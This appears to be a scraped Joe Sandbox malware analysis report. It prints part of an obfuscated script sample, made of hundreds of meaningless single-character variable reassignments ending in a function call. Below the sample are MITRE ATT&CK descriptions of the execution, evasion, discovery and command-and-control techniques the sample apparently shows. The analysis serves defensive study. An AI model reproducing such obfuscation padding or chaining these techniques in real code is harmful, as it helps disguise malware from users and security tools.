563	vkrwkdnl = "p";
564	vkrwkdnl = "L";
565	vkrwkdnl = "b";
566	vkrwkdnl = "K";
567	vkrwkdnl = "w";
568	vkrwkdnl = "d";
569	vkrwkdnl = "t";
570	vkrwkdnl = "T";
571	vkrwkdnl = "l";
572	vkrwkdnl = "E";
573	vkrwkdnl = "a";
574	vkrwkdnl = "d";
575	vkrwkdnl = "a";
576	vkrwkdnl = "p";
577	vkrwkdnl = "x";
578	vkrwkdnl = "B";
579	vkrwkdnl = "b";
580	vkrwkdnl = "e";
581	vkrwkdnl = "m";
582	vkrwkdnl = "\\";
583	xsnoxg = "Y";
584	xsnoxg = "b";
585	xsnoxg = "F";
586	xsnoxg = "d";
587	xsnoxg = "z";
588	xsnoxg = "W";
589	cdkmnbwmi = "m";
590	cdkmnbwmi = "r";
591	cdkmnbwmi = "P";
592	cdkmnbwmi = "c";
593	cdkmnbwmi = "f";
594	cdkmnbwmi = "t";
595	cdkmnbwmi = "E";
596	cdkmnbwmi = "U";
597	cdkmnbwmi = "Z";
598	cdkmnbwmi = "D";
599	cdkmnbwmi = "J";
600	cdkmnbwmi = "g";
601	cdkmnbwmi = "n";
602	exzdziwxs = "y";
603	exzdziwxs = "f";
604	exzdziwxs = "X";
605	exzdziwxs = "S";
606	exzdziwxs = "H";
607	exzdziwxs = "w";
608	exzdziwxs = "z";
609	exzdziwxs = "W";
610	exzdziwxs = "N";
611	exzdziwxs = "N";
612	exzdziwxs = "f";
613	exzdziwxs = "n";
614	exzdziwxs = "l";
615	exzdziwxs = "T";
616	exzdziwxs = "w";
617	exzdziwxs = "a";
618	exzdziwxs = "y";
619	exzdziwxs = "T";
620	exzdziwxs = "j";
621	exzdziwxs = "m";
622	exzdziwxs = "A";
623	exzdziwxs = "S";
624	exzdziwxs = "v";
625	exzdziwxs = "W";
626	exzdziwxs = "P";
627	exzdziwxs = "p";
628	exzdziwxs = "t";
629	exzdziwxs = "q";
630	exzdziwxs = "Y";
631	exzdziwxs = "@";
632	hxzxps = "O";
633	hxzxps = "I";
634	eiscptyy = "M";
635	eiscptyy = "F";
636	eiscptyy = "d";
637	eiscptyy = "K";
638	eiscptyy = "v";
639	eiscptyy = "M";
640	eiscptyy = "u";
641	eiscptyy = "c";
642	eiscptyy = "N";
643	eiscptyy = "Q";
644	eiscptyy = "A";
645	eiscptyy = "y";
646	eiscptyy = "g";
647	eiscptyy = "A";
648	eiscptyy = "t";
649	eiscptyy = "E";
650	eiscptyy = "C";
651	eiscptyy = "g";
652	eiscptyy = "f";
653	eiscptyy = "h";
654	eiscptyy = "P";
655	eiscptyy = "p";
656	eiscptyy = "g";
657	eiscptyy = "y";
658	eiscptyy = "D";
659	eiscptyy = "H";
660	eiscptyy = "m";
661	eiscptyy = "p";
662	eiscptyy = "R";
663	eiscptyy = "C";
664	eiscptyy = "o";
665	eiscptyy = "z";
666	eiscptyy = "I";
667	eiscptyy = "d";
668	vuvgquel = "M";
669	vuvgquel = "z";
670	vuvgquel = "Y";
671	vuvgquel = "r";
672	vuvgquel = "G";
673	vuvgquel = "O";
674	vuvgquel = "P";
675	vuvgquel = "t";
676	vuvgquel = "U";
677	vuvgquel = "E";
678	vuvgquel = "P";
679	vuvgquel = "b";
680	hpgkk = "r";
681	hpgkk = "b";
682	hpgkk = "h";
683	hpgkk = "f";
684	hpgkk = "j";
685	hpgkk = "i";
686	hpgkk = "t";
687	hpgkk = "N";
688	hpgkk = "v";
689	hpgkk = "t";
690	hpgkk = "r";
691	hpgkk = "a";
692	hpgkk = "F";
693	yqajeychc = "f";
694	yqajeychc = "c";
695	yqajeychc = "C";
696	yqajeychc = "X";
697	yqajeychc = "r";
698	yqajeychc = "M";
699	yqajeychc = "c";
700	bmksfx = "d";
701	bmksfx = "U";
702	bmksfx = "P";
703	bmksfx = "a";
704	bmksfx = "J";
705	bmksfx = "F";
706	bmksfx = "s";
707	bmksfx = "A";
708	bmksfx = "Z";
709	bmksfx = "k";
710	bmksfx = "S";
711	bmksfx = "u";
712	bmksfx = "W";
713	bmksfx = "Y";
714	bmksfx = "Z";
715	bmksfx = "z";
716	bmksfx = "N";
717	bmksfx = "F";
718	bmksfx = "t";
719	bmksfx = "D";
720	bmksfx = "V";
721	bmksfx = "Q";
722	bmksfx = "Q";
723	bmksfx = "e";
724	bmksfx = "I";
725	bmksfx = "V";
726	bmksfx = "i";
727	bmksfx = "A";
728	bmksfx = "I";
729	bmksfx = "S";
730	bmksfx = "h";
731	bmksfx = "V";
732	bmksfx = "n";
733	bmksfx = "f";
734	bmksfx = "A";
735	bmksfx = "P";
736	bmksfx = "m";
737	bmksfx = "X";
738	bmksfx = "d";
739	bmksfx = "s";
740	bmksfx = "e";
741	vaogeg = "V";
742	vaogeg = "s";
743	vaogeg = "C";
744	vaogeg = "k";
745	vaogeg = "K";
746	vaogeg = "b";
747	vaogeg = "L";
748	vaogeg = "x";
749	vaogeg = "u";
750	vaogeg = "o";
751	uopvhmkl = "m";
752	uopvhmkl = "u";
753	uopvhmkl = "s";
754	uopvhmkl = "C";
755	uopvhmkl = "T";
756	itdhwkya = "V";
757	itdhwkya = "t";
758	itdhwkya = "Z";
759	itdhwkya = "S";
760	itdhwkya = "j";
761	itdhwkya = "2";
762	dbgjjdv = "L";
763	dbgjjdv = "q";
764	dbgjjdv = "Y";
765	ueswqr = "K";
766	ueswqr = "m";
767	ueswqr = "I";
768	ueswqr = "r";
769	ueswqr = "Y";
770	ueswqr = "l";
771	ueswqr = "m";
772	ueswqr = "T";
773	ueswqr = "d";
774	ueswqr = "K";
775	ueswqr = "W";
776	ueswqr = "d";
777	ueswqr = "g";
778	ueswqr = "t";
779	ueswqr = "e";
780	ueswqr = "c";
781	ueswqr = "U";
782	ueswqr = "j";
783	ueswqr = "R";
784	ueswqr = "Y";
785	ueswqr = "Y";
786	ueswqr = "P";
787	ueswqr = "h";
788	ueswqr = "N";
789	ueswqr = "h";
790	ueswqr = "V";
791	ueswqr = "q";
792	ueswqr = "N";
793	ueswqr = "a";
794	ueswqr = ".";
795	thuag = "G";
796	thuag = "E";
797	thuag = "n";
798	thuag = "L";
799	thuag = "N";
800	thuag = "Z";
801	thuag = "E";
802	thuag = "r";
803	thuag = "Z";
804	thuag = "J";
805	thuag = "W";
806	thuag = "u";
807	thuag = "v";
808	thuag = "J";
809	thuag = "L";
810	thuag = "V";
811	thuag = "k";
812	thuag = "f";
813	thuag = "p";
814	thuag = "6";
815	zwkwqgxz = "x";
816	zwkwqgxz = "f";
817	zwkwqgxz = "x";
818	zwkwqgxz = "t";
819	zwkwqgxz = "W";
820	zwkwqgxz = "H";
821	zwkwqgxz = "W";
822	zwkwqgxz = "O";
823	zwkwqgxz = "J";
824	zwkwqgxz = "v";
825	zwkwqgxz = "e";
826	zwkwqgxz = "l";
827	zwkwqgxz = "C";
828	zwkwqgxz = "I";
829	zwkwqgxz = "X";
830	zwkwqgxz = "G";
831	zwkwqgxz = "t";
832	zwkwqgxz = "U";
833	zwkwqgxz = "E";
834	zwkwqgxz = "A";
835	zwkwqgxz = "r";
836	zwkwqgxz = "o";
837	zwkwqgxz = "&";
838	kgfvg = "I";
839	kgfvg = "u";
840	kgfvg = "p";
841	kgfvg = "U";
842	kgfvg = "H";
843	kgfvg = "Y";
844	kgfvg = "A";
845	kgfvg = "Q";
846	kgfvg = "s";
847	kgfvg = "y";
848	kgfvg = "b";
849	kgfvg = "Z";
850	kgfvg = "D";
851	kgfvg = "p";
852	kgfvg = "A";
853	kgfvg = "V";
854	kgfvg = "N";
855	kgfvg = "w";
856	kgfvg = "z";
857	kgfvg = "A";
858	kgfvg = "p";
859	kgfvg = "e";
860	kgfvg = "N";
861	kgfvg = "v";
862	kgfvg = "Y";
863	kgfvg = "a";
864	kgfvg = "n";
865	kgfvg = "k";
866	kgfvg = "v";
867	kgfvg = "W";
868	kgfvg = "t";
869	kgfvg = "k";
870	kgfvg = "j";
871	luacib = "w";
872	luacib = "M";
873	luacib = "D";
874	luacib = "H";
875	luacib = "O";
876	luacib = "R";
877	luacib = "U";
878	luacib = "d";
879	luacib = "K";
880	luacib = "y";
881	luacib = "B";
882	luacib = "R";
883	luacib = "y";
884	luacib = "w";
885	luacib = "s";
886	luacib = "C";
887	luacib = "H";
888	pbtiyrx = "X";
889	pbtiyrx = "R";
890	pbtiyrx = "i";
891	pbtiyrx = "C";
892	pbtiyrx = "Y";
893	pbtiyrx = "H";
894	pbtiyrx = "e";
895	pbtiyrx = "B";
896	pbtiyrx = "k";
897	pbtiyrx = "k";
898	pbtiyrx = "m";
899	pbtiyrx = "E";
900	pbtiyrx = "C";
901	pbtiyrx = "K";
902	pbtiyrx = "I";
903	pbtiyrx = "f";
904	mleyjggl = "K";
905	mleyjggl = "s";
906	mleyjggl = "W";
907	mleyjggl = "Z";
908	mleyjggl = "M";
909	mleyjggl = "V";
910	mleyjggl = "K";
911	mleyjggl = "Z";
912	mleyjggl = "r";
913	mleyjggl = "Y";
914	mleyjggl = "I";
915	mleyjggl = "K";
916	mleyjggl = "P";
917	mleyjggl = "y";
918	mleyjggl = "I";
919	mleyjggl = "u";
920	mleyjggl = "F";
921	mleyjggl = "B";
922	mleyjggl = "r";
923	mleyjggl = "y";
924	mleyjggl = "D";
925	mleyjggl = "V";
926	mleyjggl = "c";
927	mleyjggl = "J";
928	mleyjggl = "L";
929	mleyjggl = "e";
930	mleyjggl = "K";
931	mleyjggl = "V";
932	mleyjggl = "F";
933	mleyjggl = "o";
934	mleyjggl = "i";
935	mleyjggl = "P";
936	fwzlubj = "C";
937	fwzlubj = "m";
938	fwzlubj = "J";
939	fwzlubj = "P";
940	fwzlubj = "Z";
941	fwzlubj = "X";
942	fwzlubj = "h";
943	fwzlubj = "d";
944	fwzlubj = "l";
945	fwzlubj = "w";
946	fwzlubj = "S";
947	fwzlubj = "X";
948	fwzlubj = "N";
949	fwzlubj = "A";
950	fwzlubj = "k";
951	fwzlubj = "N";
952	fwzlubj = "j";
953	fwzlubj = "A";
954	fwzlubj = "k";
955	fwzlubj = "P";
956	fwzlubj = "J";
957	fwzlubj = "L";
958	fwzlubj = "W";
959	fwzlubj = "h";
960	fwzlubj = "C";
961	fwzlubj = "L";
962	fwzlubj = "J";
963	fwzlubj = "p";
964	fwzlubj = "C";
965	fwzlubj = "t";
966	fwzlubj = "C";
967	fwzlubj = "x";
968	fwzlubj = "v";
969	fwzlubj = "a";
970	fwzlubj = "X";
971	fwzlubj = "b";
972	fwzlubj = "h";
973	fwzlubj = "t";
974	fwzlubj = "B";
975	fwzlubj = "L";
976	fwzlubj = "T";
977	fwzlubj = "t";
978	fwzlubj = "S";
979	fwzlubj = "_";
980	cnxfdbsa = "z";
981	cnxfdbsa = "X";
982	cnxfdbsa = "v";
983	cnxfdbsa = "O";
984	cnxfdbsa = "B";
985	cnxfdbsa = "S";
986	cnxfdbsa = "U";
987	cnxfdbsa = "m";
988	cnxfdbsa = "X";
989	cnxfdbsa = "Z";
990	cnxfdbsa = "w";
991	cnxfdbsa = "v";
992	cnxfdbsa = "p";
993	cnxfdbsa = "N";
994	nwyhyuxf = "R";
995	nwyhyuxf = "R";
996	nwyhyuxf = "u";
997	nwyhyuxf = "U";
998	nwyhyuxf = "P";
999	nwyhyuxf = "f";
1000	nwyhyuxf = "p";
1001	nwyhyuxf = "v";
1002	nwyhyuxf = "N";
1003	nwyhyuxf = "l";
1004	nwyhyuxf = "P";
1005	nwyhyuxf = "f";
1006	nwyhyuxf = "p";
1007	nwyhyuxf = "c";
1008	nwyhyuxf = "R";
1009	nwyhyuxf = "T";
1010	nwyhyuxf = "y";
1011	nwyhyuxf = "J";
1012	nwyhyuxf = "J";
1013	nwyhyuxf = "M";
1014	nwyhyuxf = "e";
1015	nwyhyuxf = "Z";
1016	nwyhyuxf = "G";
1017	nwyhyuxf = "W";
1018	nwyhyuxf = "h";
1019	nwyhyuxf = "I";
1020	nwyhyuxf = "v";
1021	nwyhyuxf = "s";
1022	nwyhyuxf = "p";
1023	nwyhyuxf = "L";
1024	nwyhyuxf = "x";
1025	nwyhyuxf = " ";
1026	zuegmxe = "x";
1027	zuegmxe = "V";
1028	zuegmxe = "T";
1029	zuegmxe = "x";
1030	zuegmxe = "o";
1031	zuegmxe = "g";
1032	zuegmxe = "p";
1033	zuegmxe = "t";
1034	zuegmxe = "w";
1035	zuegmxe = "p";
1036	zuegmxe = "O";
1037	zuegmxe = "J";
1038	zuegmxe = "G";
1039	zuegmxe = "y";
1040	zuegmxe = "e";
1041	zuegmxe = "C";
1042	zuegmxe = "f";
1043	zuegmxe = "X";
1044	zuegmxe = "a";
1045	zuegmxe = "w";
1046	zuegmxe = "N";
1047	zuegmxe = "T";
1048	zuegmxe = "z";
1049	zuegmxe = "D";
1050	zuegmxe = "r";
1051	zuegmxe = "q";
1052	zuegmxe = "t";
1053	zuegmxe = "Y";
1054	zuegmxe = "G";
1055	zuegmxe = "g";
1056	zuegmxe = "S";
1057	zuegmxe = "j";
1058	zuegmxe = "X";
1059	zuegmxe = "%";
1060	ldmhtnzbb = "B";
1061	ldmhtnzbb = "b";
1062	ldmhtnzbb = "N";
1063	ldmhtnzbb = "Z";
1064	ldmhtnzbb = "q";
1065	ldmhtnzbb = "J";
1066	ldmhtnzbb = "R";
1067	ldmhtnzbb = "C";
1068	ldmhtnzbb = "k";
1069	ldmhtnzbb = "u";
1070	vqffqjllh = "W";
1071	vqffqjllh = "J";
1072	vqffqjllh = "u";
1073	vqffqjllh = "w";
1074	vqffqjllh = "p";
1075	vqffqjllh = "C";
1076	vqffqjllh = "I";
1077	vqffqjllh = "A";
1078	vqffqjllh = "R";
1079	vqffqjllh = "C";
1080	vqffqjllh = "J";
1081	vqffqjllh = "m";
1082	vqffqjllh = "Y";
1083	vqffqjllh = "m";
1084	vqffqjllh = "n";
1085	vqffqjllh = "E";
1086	vqffqjllh = "H";
1087	vqffqjllh = "g";
1088	vqffqjllh = "4";
1089	tjxca = "P";
1090	tjxca = "w";
1091	tjxca = "w";
1092	tjxca = "v";
1093	tjxca = "Y";
1094	tjxca = "S";
1095	tjxca = "w";
1096	tjxca = "W";
1097	tjxca = "E";
1098	tjxca = "R";
1099	tjxca = "P";
1100	tjxca = "v";
1101	tjxca = "g";
1102	tjxca = "o";
1103	tjxca = "e";
1104	tjxca = "b";
1105	tjxca = "p";
1106	tjxca = "w";
1107	tjxca = "s";
1108	tjxca = "m";
1109	tjxca = "f";
1110	tjxca = "D";
1111	tjxca = "t";
1112	tjxca = "U";
1113	tjxca = "T";
1114	tjxca = "R";
1115	tjxca = "i";
1116	tjxca = "S";
1117	tjxca = "K";
1118	tjxca = "d";
1119	tjxca = "p";
1120	tjxca = "n";
1121	tjxca = "r";
1122	tjxca = "U";
1123	tjxca = "g";
1124	tjxca = "g";
1125	tjxca = "W";
1126	tjxca = "p";
1127	tjxca = "G";
1128	tjxca = "v";
1129	tjxca = "p";
1130	tjxca = "S";
1131	tjxca = "A";
1132	tjxca = "e";
1133	tjxca = "O";
1134	myuafy = "y";
1135	myuafy = "M";
1136	myuafy = "v";
1137	myuafy = "T";
1138	myuafy = "z";
1139	myuafy = "H";
1140	myuafy = "x";
1141	kuvxpodgd = "a";
1142	nolyw = "u";
1143	nolyw = "U";
1144	nolyw = "F";
1145	nolyw = "F";
1146	nolyw = "m";
1147	nolyw = "v";
1148	nolyw = "X";
1149	nolyw = "p";
1150	pehqqqkcz = "r";
1151	pehqqqkcz = "r";
1152	pehqqqkcz = "v";
1153	pehqqqkcz = "t";
1154	pehqqqkcz = "O";
1155	pehqqqkcz = "j";
1156	pehqqqkcz = "z";
1157	pehqqqkcz = "a";
1158	pehqqqkcz = "g";
1159	pehqqqkcz = "N";
1160	pehqqqkcz = "M";
1161	pehqqqkcz = "C";
1162	pehqqqkcz = "e";
1163	pehqqqkcz = "v";
1164	pehqqqkcz = "V";
1165	pehqqqkcz = "z";
1166	pehqqqkcz = "t";
1167	pehqqqkcz = "f";
1168	pehqqqkcz = "p";
1169	pehqqqkcz = "k";
1170	pehqqqkcz = "Q";
1171	pehqqqkcz = "p";
1172	pehqqqkcz = "H";
1173	pehqqqkcz = "k";
1174	pehqqqkcz = "n";
1175	pehqqqkcz = "S";
1176	pehqqqkcz = "j";
1177	pehqqqkcz = "p";
1178	pehqqqkcz = "v";
1179	pehqqqkcz = "M";
1180	pehqqqkcz = "d";
1181	pehqqqkcz = "M";
1182	pehqqqkcz = "R";
1183	ruhjtiu = "z";
1184	ruhjtiu = "I";
1185	ruhjtiu = "x";
1186	ruhjtiu = "L";
1187	ruhjtiu = "x";
1188	ruhjtiu = "k";
1189	ruhjtiu = "E";
1190	eajbkb = "T";
1191	eajbkb = "f";
1192	eajbkb = "B";
1193	eajbkb = "X";
1194	eajbkb = "a";
1195	eajbkb = "R";
1196	eajbkb = "h";
1197	eajbkb = "I";
1198	eajbkb = "f";
1199	eajbkb = "Y";
1200	eajbkb = "k";
1201	eajbkb = "i";
1202	eajbkb = "l";
1203	eajbkb = "h";
1204	eajbkb = "b";
1205	eajbkb = "X";
1206	eajbkb = "n";
1207	eajbkb = "I";
1208	eajbkb = "e";
1209	eajbkb = "H";
1210	eajbkb = "Q";
1211	dugta = "R";
1212	dugta = "G";
1213	dugta = "U";
1214	dugta = ":";
1215	vfools = "h";
1216	vfools = "S";
1217	vfools = "g";
1218	lczbtl = "P";
1219	lczbtl = "C";
1220	lczbtl = "h";
1221	lczbtl = "v";
1222	lczbtl = "M";
1223	lczbtl = "F";
1224	lczbtl = "D";
1225	lczbtl = "X";
1226	lczbtl = "q";
1227	lczbtl = "F";
1228	lczbtl = "G";
1229	lczbtl = "S";
1230	lczbtl = "X";
1231	lczbtl = "K";
1232	pmfct = "O";
1233	pmfct = "p";
1234	pmfct = "W";
1235	pmfct = "o";
1236	pmfct = "n";
1237	pmfct = "Z";
1238	pmfct = "R";
1239	pmfct = "w";
1240	pmfct = "A";
1241	pmfct = "E";
1242	pmfct = "l";
1243	pmfct = "p";
1244	pmfct = "Q";
1245	pmfct = "L";
1246	pmfct = "s";
1247	pmfct = "S";
1248	pmfct = "U";
1249	pmfct = "y";
1250	pmfct = "R";
1251	pmfct = "e";
1252	pmfct = "s";
1253	pmfct = "O";
1254	pmfct = "Z";
1255	pmfct = "v";
1256	pmfct = "w";
1257	pmfct = "n";
1258	pmfct = "R";
1259	pmfct = "h";
1260	pmfct = "o";
1261	pmfct = "7";
1262	shsfzy = "G";
1263	shsfzy = "S";
1264	shsfzy = "V";
1265	shsfzy = "J";
1266	shsfzy = "F";
1267	shsfzy = "p";
1268	shsfzy = "K";
1269	shsfzy = "N";
1270	shsfzy = "G";
1271	shsfzy = "z";
1272	shsfzy = "x";
1273	shsfzy = "N";
1274	shsfzy = "W";
1275	shsfzy = "T";
1276	shsfzy = "r";
1277	shsfzy = "B";
1278	shsfzy = "k";
1279	shsfzy = "l";
1280	shsfzy = "D";
1281	shsfzy = "i";
1282	shsfzy = "F";
1283	shsfzy = "w";
1284	shsfzy = "L";
1285	shsfzy = "T";
1286	shsfzy = "b";
1287	shsfzy = "R";
1288	shsfzy = "y";
1289	shsfzy = "H";
1290	shsfzy = "s";
1291	shsfzy = "z";
1292	shsfzy = "f";
1293	shsfzy = "X";
1294	shsfzy = "G";
1295	shsfzy = "v";
1296	fqnea = "G";
1297	fqnea = "H";
1298	fqnea = "K";
1299	fqnea = "3";
1300	butppogox = "e";
1301	butppogox = "q";
1302	butppogox = "l";
1303	butppogox = "m";
1304	butppogox = "L";
1305	butppogox = "p";
1306	butppogox = "Y";
1307	butppogox = "O";
1308	butppogox = "E";
1309	butppogox = "N";
1310	butppogox = "h";
1311	butppogox = "z";
1312	butppogox = "H";
1313	butppogox = "y";
1314	butppogox = "m";
1315	butppogox = "r";
1316	butppogox = "h";
1317	butppogox = "B";
1318	butppogox = "M";
1319	butppogox = "H";
1320	butppogox = "L";
1321	butppogox = "v";
1322	butppogox = "r";
1323	butppogox = "P";
1324	butppogox = "R";
1325	butppogox = "e";
1326	butppogox = "S";
1327	butppogox = "g";
1328	butppogox = "T";
1329	butppogox = "r";
1330	butppogox = "F";
1331	butppogox = "q";
1332	butppogox = "k";
1333	butppogox = "Y";
1334	butppogox = "T";
1335	butppogox = "V";
1336	butppogox = "j";
1337	butppogox = "f";
1338	butppogox = "t";
1339	sylyjha = "E";
1340	sylyjha = "X";
1341	sylyjha = "C";
1342	sylyjha = "S";
1343	sylyjha = "q";
1344	sylyjha = "e";
1345	sylyjha = "U";
1346	cqyqqex ( );	cqyqqex() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

